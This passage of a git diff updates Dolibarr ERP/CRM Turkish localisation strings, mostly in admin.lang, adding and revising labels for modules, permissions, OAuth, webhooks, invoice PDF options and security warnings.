      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project ) > 0))? $secondloadedobj->ref: 'Ana proje bulunamadı' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Hesaplanan alanı sakla ComputedpersistentDesc=Hesaplanan fazladan alanlar veritabanında saklanacaktır, ancak değer yalnızca bu alanın nesnesi değiştirildiğinde yeniden hesaplanacaktır. Hesaplanan alan diğer nesnelere veya genel verilere bağlıysa, bu değer yanlış olabilir !! ExtrafieldParamHelpPassword=Bu alanı boş bırakmak, bu değerin şifreleme olmadan saklanacağı anlamına gelir (alan yalnızca ekranda yıldızla gizlenmelidir).
      Parolayı veritabanına kaydetmek için varsayılan şifreleme kuralını kullanmak için 'otomatik'i ayarlayın (daha sonra okunan değer, hash olacaktır yalnızca, orijinal değeri almanın yolu yoktur) @@ -501,7 +503,8 @@ WarningPHPMail=UYARI: Uygulamadan e-posta gönderme kurulumu, varsayılan genel WarningPHPMailA=E-posta Hizmet Sağlayıcısının sunucusunu kullanmak, e-postanızın güvenilirliğini artırır, böylece SPAM olarak işaretlenmeden teslim edilebilirliği artırır. WarningPHPMailB=- Bazı E-posta Servis Sağlayıcıları kendi sunucularından başka bir sunucudan e-posta göndermenize izin vermez. Mevcut kurulumunuz e-posta göndermek için uygulama sunucusunu kullanıyor, e-posta sağlayıcınızın sunucusunu değil, bu nedenle bazı alıcılar (kısıtlayıcı DMARC protokolüyle uyumlu olan) e-posta sağlayıcınıza e-postanızı ve bazı e-posta sağlayıcılarını kabul edip edemeyeceklerini soracaktır. (Yahoo gibi), sunucu kendilerine ait olmadığı için "hayır" yanıtını verebilir, bu nedenle, gönderdiğiniz E-postaların çok azı teslim için kabul edilmeyebilir (e-posta sağlayıcınızın gönderme kotasına da dikkat edin). WarningPHPMailC=- E-posta göndermek için kendi E-posta Servis Sağlayıcınızın SMTP sunucusunu kullanmak da ilginçtir, bu nedenle uygulamadan gönderilen tüm e-postalar ayrıca posta kutunuzun "Gönderilen" dizinine kaydedilecektir. -WarningPHPMailD=Also, it is therefore recommended to change the sending method of e-mails to the value "SMTP". If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by setting the MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP constant to 1 in Home - Setup - Other. +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=E-posta SMTP sağlayıcınızın e-posta istemcisini bazı IP adresleriyle kısıtlaması gerekiyorsa (çok nadir), bu, ERP CRM uygulamanız için posta kullanıcı aracısının (MUA) IP adresidir: %s. WarningPHPMailSPF=If the domain name in your sender email address is protected by a SPF record (ask your domain name registar), you must add the following IPs in the SPF record of the DNS of your domain: %s. ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      Örnek:
      Yeni bir cari oluşturma formu kull PageUrlForDefaultValuesList=
      Örnek:
      Carileri listeleyen sayfa için, bu %s.
      Özel dizine yüklenmiş harici modüllerin URL'si için, "custom/" custom/mymodule /mypagelist.php yerine mymodule/mypagelist.php gibi bir yol kullanın.
      Varsayılan değeri yalnızca url'de bir parametre varsa istiyorsanız, %s AlsoDefaultValuesAreEffectiveForActionCreate=Form oluşturmak için varsayılan değerlerin üzerine yazma işleminin sadece doğru bir şekilde tasarlanmış sayfalarda çalışacağını unutmayın (action=create veya presend... parametresi ile) EnableDefaultValues=Varsayılan değerlerin kişiselleştirilmesini etkinleştir -EnableOverwriteTranslation=Üzerine yazılabilir çeviri kullanımını etkinleştir +EnableOverwriteTranslation=Allow customization of translations GoIntoTranslationMenuToChangeThis=Bu kodlu anahtar için bir çeviri bulundu. Bu değeri değiştirmek için onu Giriş-Ayarlar-Çeviri bölümünde düzenlemelisiniz. WarningSettingSortOrder=Uyarı: Varsayılan bir sıralama düzeni ayarlamak, eğer alan bilinmeyen bir alan ise liste sayfasına giderken teknik bir hataya neden olabilir. Böyle bir hatayla karşılaşırsanız varsayılan sıralama düzenini kaldırmak için bu sayfaya geri dönün ve önceki davranışı geri yükleyin. Field=Alan @@ -643,11 +646,13 @@ Module2300Name=Planlı İşler Module2300Desc=Zamanlanmış iş yönetimi (alias cron veya chrono tablosu) Module2400Name=Etkinlik/Gündem Module2400Desc=Etkinlikleri takip edin. İzleme amacıyla otomatik etkinlikleri günlüğe geçirin veya manuel etkinlikleri ya da toplantıları kaydedin. Bu, iyi bir Müşteri veya Tedarikçi İlişkileri Yönetimi için temel modüldür. +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=DMS/ECM Module2500Desc=Belge Yönetim Sistemi/Elektronik İçerik Yönetimi. Oluşturulan veya saklanan belgelerinizin otomatik organizasyonu. İhtiyacınız olduğunda paylaşın. -Module2600Name=API/Web hizmetleri (SOAP sunucusu) +Module2600Name=API / Web services (SOAP server) Module2600Desc=API hizmetlerini sağlayan Dolibarr SOAP sunucusunu etkinleştir -Module2610Name=API/Web hizmetleri (REST sunucusu) +Module2610Name=API / Web services (REST server) Module2610Desc=API hizmetlerini sağlayan Dolibarr REST sunucusunu etkinleştir Module2660Name=Çağrı Web hizmetleri (SOAP istemcisi) Module2660Desc=Dolibarr web hizmetleri istemcisini etkinleştirin (Dış sunuculara veri/istek göndermek için kullanılabilir. Şu anda yalnızca Satın alma siparişleri desteklenmektedir.) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=GeoIP Maxmind dönüştürme becerileri Module3200Name=Değiştirilemez Arşivler Module3200Desc=Değiştirilemeyen bir iş etkinlikleri günlüğü etkinleştirin. Etkinlikler gerçek zamanlı olarak arşivlenir. Günlük, dışa aktarılabilen zincirlenmiş etkinliklerin salt okunur bir tablosudur. Bu modül bazı ülkeler için zorunlu olabilir. +Module3300Name=Module Builder +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=Sosyal Ağlar Module3400Desc=Sosyal Ağ alanlarını Carilere ve adreslere (skype, twitter, facebook, ...) etkinleştirin. Module4000Name=IK @@ -698,7 +705,10 @@ Module62000Name=Uluslararası Ticaret Terimleri Module62000Desc=Uluslararası Ticaret Terimleri'ni yönetmek için özellikler ekleyin Module63000Name=Kaynaklar Module63000Desc=Etkinliklere tahsis etmek için kaynakları (yazıcılar, arabalar, odalar, ...) yönetin -Permission11=Müşteri faturalarını oku +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Resepsiyonlar +Permission11=Read customer invoices (and payments) Permission12=Müşteri faturaları oluştur/düzenle Permission13=Müşteri faturalarını geçersiz kılın Permission14=Müşteri faturalarını doğrula @@ -842,9 +852,9 @@ Permission286=Kişileri dışa aktar Permission291=Tarife oku Permission292=Tarife izinlerini kur Permission293=Müşterinin tarifelerini değiştirin -Permission300=Barkodları oku -Permission301=Barkod oluştur/değiştir -Permission302=Barkodları sil +Permission301=Generate PDF sheets of barcodes +Permission304=Barkod oluştur/değiştir +Permission305=Barkodları sil Permission311=Hizmet oku Permission312=Sözleşmeye hizmet/abonelik ata Permission331=Yerimi oku @@ -940,7 +950,7 @@ Permission1190=Tedarikçi siparişlerini onayla (ikinci onay) Permission1191=Tedarikçi siparişlerini ve özelliklerini dışa aktarın Permission1201=Bir dışa aktarma sonucu al Permission1202=Dışa aktarma Oluştur/Değiştir -Permission1231=Tedarikçi faturalarını oku +Permission1231=Read vendor invoices (and payments) Permission1232=Tedarikçi faturaları oluştur/değiştir Permission1233=Tedarikçi faturalarını doğrula Permission1234=Tedarikçi faturalarını sil @@ -971,13 +981,14 @@ Permission3301=Yeni modüller oluşturun Permission4001=Read skill/job/position Permission4002=Create/modify skill/job/position Permission4003=Delete skill/job/position -Permission4020=Read evaluations -Permission4021=Create/modify your evaluation -Permission4022=Validate evaluation -Permission4023=Delete evaluation -Permission4030=See comparison menu +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Validate evaluation +Permission4025=Delete evaluation +Permission4028=See comparison menu Permission4031=Read personal information Permission4032=Write personal information +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=Web sitesi içeriğini okuyun Permission10002=Web sitesi içeriği oluşturun/değiştirin (HTML ve Javascript içeriği) Permission10003=Web sitesi içeriği oluşturun/değiştirin (dinamik php kodu). Tehlikeli, kısıtlı geliştiricilere ayrılmalıdır. @@ -1081,6 +1092,10 @@ DictionaryAssetDisposalType=Type of disposal of assets TypeOfUnit=Ünite türü SetupSaved=Kurulum kaydedildi SetupNotSaved=Kurulum kaydedilmedi +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=Error in entry deletion +EntryDeleted=Entry deleted BackToModuleList=Modül listesine dön BackToDictionaryList=Sözlük listesine dön TypeOfRevenueStamp=Damga pulu türü @@ -1222,7 +1237,7 @@ SetupDescription4= %s -> %s

      Bu yazılım birçok mo SetupDescription5=Ayarlar menüsündeki diğer girişler isteğe bağlı parametreleri yönetmenizi sağlar. SetupDescriptionLink=%s - %s SetupDescription3b=Basic parameters used to customize the default behavior of your application (e.g for country-related features). -SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be enabled and configured. Menu entries will appears with the activation of these modules. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=Denetlenen güvenlik olayları NoSecurityEventsAreAduited=Hiçbir güvenlik olayı denetlenmez. Bunları %s menüsünden etkinleştirebilirsiniz Audit=Güvenlik Etkinlikleri @@ -1244,6 +1259,7 @@ AreaForAdminOnly=Kurulum parametreleri sadece yönetici olan kullanıcılar%s modülü etkin GeneratedPasswordDesc=Otomatik olarak oluşturulan şifreler için kullanılacak yöntemi seçin. DictionaryDesc=Bütün referans verisini ekleyin. Değerlerinizi varsayılana ekleyebilirsiniz. ConstDesc=Bu sayfa, diğer sayfalarda bulunmayan parametreleri düzenlemenizi (üzerine yazmanızı) sağlar. Bunlar çoğunlukla sadece geliştiriciler/gelişmiş sorun giderme için ayrılmış parametrelerdir. +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=Burada güvenlik ile ilgili diğer tüm parametreler tanımlanır. LimitsSetup=Sınırlar/Doğruluk kurulumu LimitsDesc=Dolibarr tarafından kullanılan limitleri, hassasiyetleri ve iyileştirmeleri buradan tanımlayabilirsiniz @@ -1294,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=Bu komutu %s kullanıcı YourPHPDoesNotHaveSSLSupport=SSL fonksiyonları PHP nizde mevcut değildir DownloadMoreSkins=Daha fazla kaplama indirin SimpleNumRefModelDesc=Referans numarasını% yyyyaa-nnnn biçiminde döndürür; burada yy yıl, aa ay ve nnnn sıfırlama olmadan sıralı otomatik artan bir sayıdır +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Referans numarasını% yyyyaa-nnnn biçiminde döndürür; burada yy yıl, aa ay ve nnnn sıfırlama olmadan sıralı otomatik artan bir sayıdır SimpleNumRefNoDateModelDesc=Returns the reference number in the format %s-nnnn where nnnn is a sequential auto-incrementing number with no reset ShowProfIdInAddress=Show professional ID with addresses ShowVATIntaInAddress=Vergi numarasını gizle @@ -1380,7 +1399,7 @@ GetBarCode=Barkovizyon al NumberingModules=Numaralandırma modelleri DocumentModules=Belge modelleri ##### Module password generation -PasswordGenerationStandard=Dahili Dolibarr algoritmasına göre oluşturulmuş bir parola döndür: paylaşılan sayılar ve küçük harfli karakterler içeren %s karakter. +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=Oluşturulan bir parola önerme. Parola manuel olarak yazılmalıdır. PasswordGenerationPerso=Kişisel tanımlanmış yapılandırmanıza göre bir parola girin. SetupPerso=Yapılandırmanıza göre @@ -1434,6 +1453,10 @@ SuppliersPayment=Tedarikçi ödemeleri SupplierPaymentSetup=Tedarikçi ödemesi ayarları InvoiceCheckPosteriorDate=Check facture date before validation InvoiceCheckPosteriorDateHelp=Validating an invoice will be forbidden if its date is anterior to the date of last invoice of same type. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=Teklif modülü kurulumu ProposalsNumberingModules=Teklif numaralandırma modülü @@ -1476,11 +1499,12 @@ WatermarkOnDraftContractCards=Taslak sözleşmeler üzerinde filigran (boşsa yo ##### Members ##### MembersSetup=Üye modülü kurulumu MemberMainOptions=Ana seçenekler +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= Her üye için bir Kullanıcı adı yürütün AdherentMailRequired=Yeni bir üye oluşturmak için e-posta gereklidir MemberSendInformationByMailByDefault=Üyelere onay epostası (doğrulama ya da yeni abonelik) göndermek için onay kutusu varsayılan olarak açıktır MemberCreateAnExternalUserForSubscriptionValidated=Create an external user login for each new member subscription validated -VisitorCanChooseItsPaymentMode=Ziyaretçi kişi mevcut ödeme türlerinden birini seçebilir +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=Süresi dolmuş abonelikler için mail yoluyla otomatik hatırlatıcıyı etkinleştir. Not: Hatırlatıcıyı gönderebilmek için %s modülü etkinleştirilmiş ve doğru bir şekilde yapılandırılmış olmalıdır. MembersDocModules=Üye kaydından oluşturulan belgeler için belge şablonları ##### LDAP setup ##### @@ -1742,8 +1766,8 @@ ActivateFCKeditor=Gelişmiş düzenleyiciyi şunun için etkinleştir: FCKeditorForNotePublic=WYSIWIG creation/edition of the field "public notes" of elements FCKeditorForNotePrivate=WYSIWIG creation/edition of the field "private notes" of elements FCKeditorForCompany=WYSIWIG creation/edition of the field description of elements (except products/services) -FCKeditorForProduct=WYSIWIG creation/edition of the field description of products/services -FCKeditorForProductDetails=Tüm varlıklar (teklifler, siparişler, faturalar, vb.) İçin ürün ayrıntı satırlarının WYSIWIG oluşturulması/baskısı. Uyarı: Bu durumda bu seçeneğin kullanılması, PDF dosyalarını oluştururken özel karakterler ve sayfa biçimlendirmeyle ilgili sorunlar yaratabileceğinden, kesinlikle önerilmez. +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= Toplu e-postalar için WYSIWIG oluşturma/düzenleme (Araçlar->E-postalamalar) FCKeditorForUserSignature=Kullanıcı imzasının WYSIWIG olarak oluşturulması/düzenlenmesi FCKeditorForMail=Tüm mailler için WYSIWIG oluşturma/düzenleme (Araçlar->E-postalamalar hariç) @@ -1766,7 +1790,7 @@ DetailMenuHandler=Yeni menü göstermek için menü işleyicisi DetailMenuModule=Eğer menü girişi bir modülden geliyorsa modül adı DetailType=Menü türü (üst ya da sol) DetailTitre=Çeviri için menü etiketi veya etiket kodu -DetailUrl=Menü tarafından gönderilen URL (Mutlak URL bağlantısı veya http:// ile dış bağlantı) +DetailUrl=URL where menu send you (Relative URL link or external link with https://) DetailEnabled=Giriş gösterip göstermeme koşulu DetailRight=Yetkisiz gri menüleri gösterme koşulu DetailLangs=Etiket kodu çevirisi için Lang dosya adı @@ -1810,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Etkinlik türleri kullanın (Ayarlar -> Sözlükler -> Gü AGENDA_USE_EVENT_TYPE_DEFAULT=Olay oluşturma formundaki olay türü için varsayılan değeri otomatik olarak ayarlayın AGENDA_DEFAULT_FILTER_TYPE=Ajanda görünümünün arama filtresinde bu tür etkinlikleri otomatik olarak ayarlayın AGENDA_DEFAULT_FILTER_STATUS=Ajanda görünümünün arama filtresindeki etkinlikler için bu durumu otomatik olarak ayarla +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=Ajanda menüsünü seçerken varsayılan olarak hangi görünümü açmak istiyorsunuz? AGENDA_REMINDER_BROWSER=Etkinlik hatırlatıcıyı kullanıcının tarayıcısında etkinleştirin (Hatırlatma tarihine ulaşıldığında, tarayıcı tarafından bir açılır pencere gösterilir. Her kullanıcı, bu tür bildirimleri kendi tarayıcı bildirim ayarlarından devre dışı bırakabilir). AGENDA_REMINDER_BROWSER_SOUND=Sesli bildirimi etkinleştir @@ -1837,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=POS'taki stok düşüşü Seri/Lot y CashDeskYouDidNotDisableStockDecease=Satış Noktasından satış yaparken stok düşüşünü devre dışı bırakmadınız. Bu nedenle bir depo gereklidir. CashDeskForceDecreaseStockLabel=Toplu ürünler için stok azalması zorlandı. CashDeskForceDecreaseStockDesc=Önce en eski yemek kadar azaltın ve tarihlere göre satış yapın. -CashDeskReaderKeyCodeForEnter=Barkod okuyucusunda tanımlanan "Enter" anahtar kodu (Örnek: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=Yerimi modülü kurulumu BookmarkDesc=Bu modül yer imlerini yönetmenize imkan sağlar. Ayrıca, sol taraftaki menünüzde herhangi bir Dolibarr sayfasına veya harici web sitelerine kısayollar ekleyebilirsiniz. @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Tedarikçi faturaları numaralandırma modelleri IfSetToYesDontForgetPermission=f boş olmayan bir değere ayarlanırsa, ikinci onay için izin verilen gruplara veya kullanıcılara izinler vermeyi unutmayın ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=GeoIP MaxMind modülü kurulumu -PathToGeoIPMaxmindCountryDataFile=Maxmind ip'den ülkeye çeviriyi içeren dosya yolu.
      Örnekler:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=Ülkenizin ip veri dosyasının PHP nizin okuyabileceği bir dizin içinde olmasına dikkat edin (PHP nizin ope_basdir kurulumunu ve filesystem izinlerini denetleyin) YouCanDownloadFreeDatFileTo=Maxmind GeoIP ülke dosyasının bir ücretsiz demo sürümünü %s konumundan indirebilirsiniz. YouCanDownloadAdvancedDatFileTo=Ayrıca Maxmind GeoIP ülke dosyasına daha çok dosyayı %s konumundan indirebilirsiniz, güncellemeleri ile birlikte tam sürümünü, @@ -1926,6 +1953,7 @@ BackupDumpWizard=Veritabanı döküm dosyasını oluşturma sihirbazı BackupZipWizard=Belgeler dizini arşivini oluşturma sihirbazı SomethingMakeInstallFromWebNotPossible=Web arayüzünden dış modül kurulumu aşağıdaki nedenden ötürü olanaksızdır: SomethingMakeInstallFromWebNotPossible2=Bu nedenle, burada açıklanan yükseltme işlemi, yalnızca ayrıcalıklı bir kullanıcının gerçekleştirebileceği manuel bir işlemdir. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=Dış modülün uygulama içerisinden kurulumu yöneticiniz tarafından engellenmiştir. Bu özelliğe izin verilmesi için ondan %s dosyasını kaldırmasını istemelisiniz. ConfFileMustContainCustom=Uygulamadan harici bir modül kurmak veya oluşturmak, modül dosyalarını %s dizinine kaydetmelidir. Bu dizinin Dolibarr tarafından işlenmesi için, conf/conf.php dosyanızı 2 yönerge satırını ekleyecek şekilde ayarlamalısınız:
      $dolibarr_main_url_root_alt='/custom';
      $dolibarr_main_document_root_alt ='%s/özel'; HighlightLinesOnMouseHover=Tablo satırlarını fare üzerine geldiğinde vurgula @@ -2053,6 +2081,8 @@ RemoveSpecialChars=Özel karakterleri kaldır COMPANY_AQUARIUM_CLEAN_REGEX=Değeri temizlemek için normal ifade filtresi (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Değeri temizlemek için normal ifade filtresi (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Yinelemeye izin verilmiyor +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=Veri Koruma Görevlisi (DPO, Veri Gizliliği veya GDPR kişisi) GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here HelpOnTooltip=Araç ipucunda gösterilecek yardım metni @@ -2080,6 +2110,7 @@ MailboxTargetDirectory=Posta kutusu hedef dizini EmailcollectorOperations=Toplayıcı tarafından yapılacak işlemler EmailcollectorOperationsDesc=İşlemler yukarıdan aşağıya doğru yapılır MaxEmailCollectPerCollect=Toplama başına toplanan maksimum e-posta sayısı +TestCollectNow=Test collect CollectNow=Şimdi topla ConfirmCloneEmailCollector=Are you sure you want to clone the Email collector %s? DateLastCollectResult=En son deneme toplama tarihi @@ -2109,6 +2140,7 @@ CodeLastResult=En son sonuç kodu NbOfEmailsInInbox=Kaynak dizindeki e-postaların sayısı LoadThirdPartyFromName=%s üzerinde cari aramasını yükle (yalnızca yükle) LoadThirdPartyFromNameOrCreate=%s üzerinde cari aramasını yükle (bulunamazsa oluşturun) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=Save attached files into object documents if a ref of an object is found into email topic. WithDolTrackingID=Dolibarr'dan gönderilen ilk e-postayla başlatılan bir görüşmeden gelen mesaj WithoutDolTrackingID=Dolibarr'dan GÖNDERİLMEYEN ilk e-posta ile başlatılan bir görüşmeden gelen mesaj @@ -2183,6 +2215,7 @@ ShowProjectLabel=Proje Etiketi PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=PDF'nizdeki bazı metinlerin aynı oluşturulan PDF'de 2 farklı dilde çoğaltılmasını istiyorsanız, burada bu ikinci dili ayarlamanız gerekir, böylece oluşturulan PDF aynı sayfada 2 farklı dil içerir, biri PDF oluşturulurken seçilir ve bu ( yalnızca birkaç PDF şablonu bunu destekler). PDF başına 1 dil için boş bırakın. PDF_USE_A=Gererate PDF documents with format PDF/A instead of defaut format PDF FafaIconSocialNetworksDesc=Buraya FontAwesome simgesinin kodunu girin. FontAwesome'ın ne olduğunu bilmiyorsanız, fa-address-book genel değerini kullanabilirsiniz. @@ -2211,12 +2244,12 @@ MailToPartnership=Partnership AGENDA_EVENT_DEFAULT_STATUS=Formdan bir olay oluştururken varsayılan olay durumu YouShouldDisablePHPFunctions=PHP işlevlerini devre dışı bırakmalısınız IfCLINotRequiredYouShouldDisablePHPFunctions=Except if you need to run system commands in custom code, you shoud disable PHP functions -PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an anitivurs program), you must keep PHP functions +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=Kök dizininizde ortak programların yazılabilir dosyaları veya dizinleri bulunamadı (İyi) RecommendedValueIs=Önerilen: %s Recommended=Önerilen NotRecommended=Not recommended -ARestrictedPath=Some restricted path +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=Check for external modules updates CheckForModuleUpdateHelp=This action will connect to editors of external modules to check if a new version is available. ModuleUpdateAvailable=An update is available @@ -2264,10 +2297,10 @@ LateWarningAfter="Late" warning after TemplateforBusinessCards=Template for a business card in different size InventorySetup= Envanter Kurulumu ExportUseLowMemoryMode=Use a low memory mode -ExportUseLowMemoryModeHelp=Use the low memory mode to execute the exec of the dump (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that file is completed and error message can't be reported if it fails. +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Webhook setup Settings = Ayarlar WebhookSetupPage = Webhook setup page @@ -2288,6 +2321,8 @@ IconOnly=Icon only - Text on tooltip only INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. IfThisCategoryIsChildOfAnother=If this category is a child of another one DarkThemeMode=Dark theme mode @@ -2307,3 +2342,37 @@ UsePassword=Use a password UseOauth=Use a OAUTH token Images=Images MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +ScriptIsEmpty=The script is empty +ShowHideTheNRequests=Show/hide the %s SQL request(s) +DefinedAPathForAntivirusCommandIntoSetup=Define a path for an antivirus program into %s +TriggerCodes=Triggerable events +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=Css on edit pages +CssOnView=Css on view pages +CssOnList=Css on list pages +HelpCssOnEditDesc=The Css used when editing the field.
      Example: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=The Css used when viewing the field. +HelpCssOnListDesc=The Css used when field is inside a list table.
      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=Warning disabled +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=Desktops only +DesktopsAndSmartphones=Desktops et smartphones +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/tr_TR/categories.lang b/htdocs/langs/tr_TR/categories.lang index 6ff23b98f79..e9545ba04af 100644 --- a/htdocs/langs/tr_TR/categories.lang +++ b/htdocs/langs/tr_TR/categories.lang @@ -42,6 +42,7 @@ MemberHasNoCategory=Bu üye hiçbir etikette/kategoride yoktur ContactHasNoCategory=Bu kişi hiçbir etikette/kategoride yok ProjectHasNoCategory=Bu proje hiçbir etikette/kategoride yok ClassifyInCategory=Etikete/kategoriye ekle 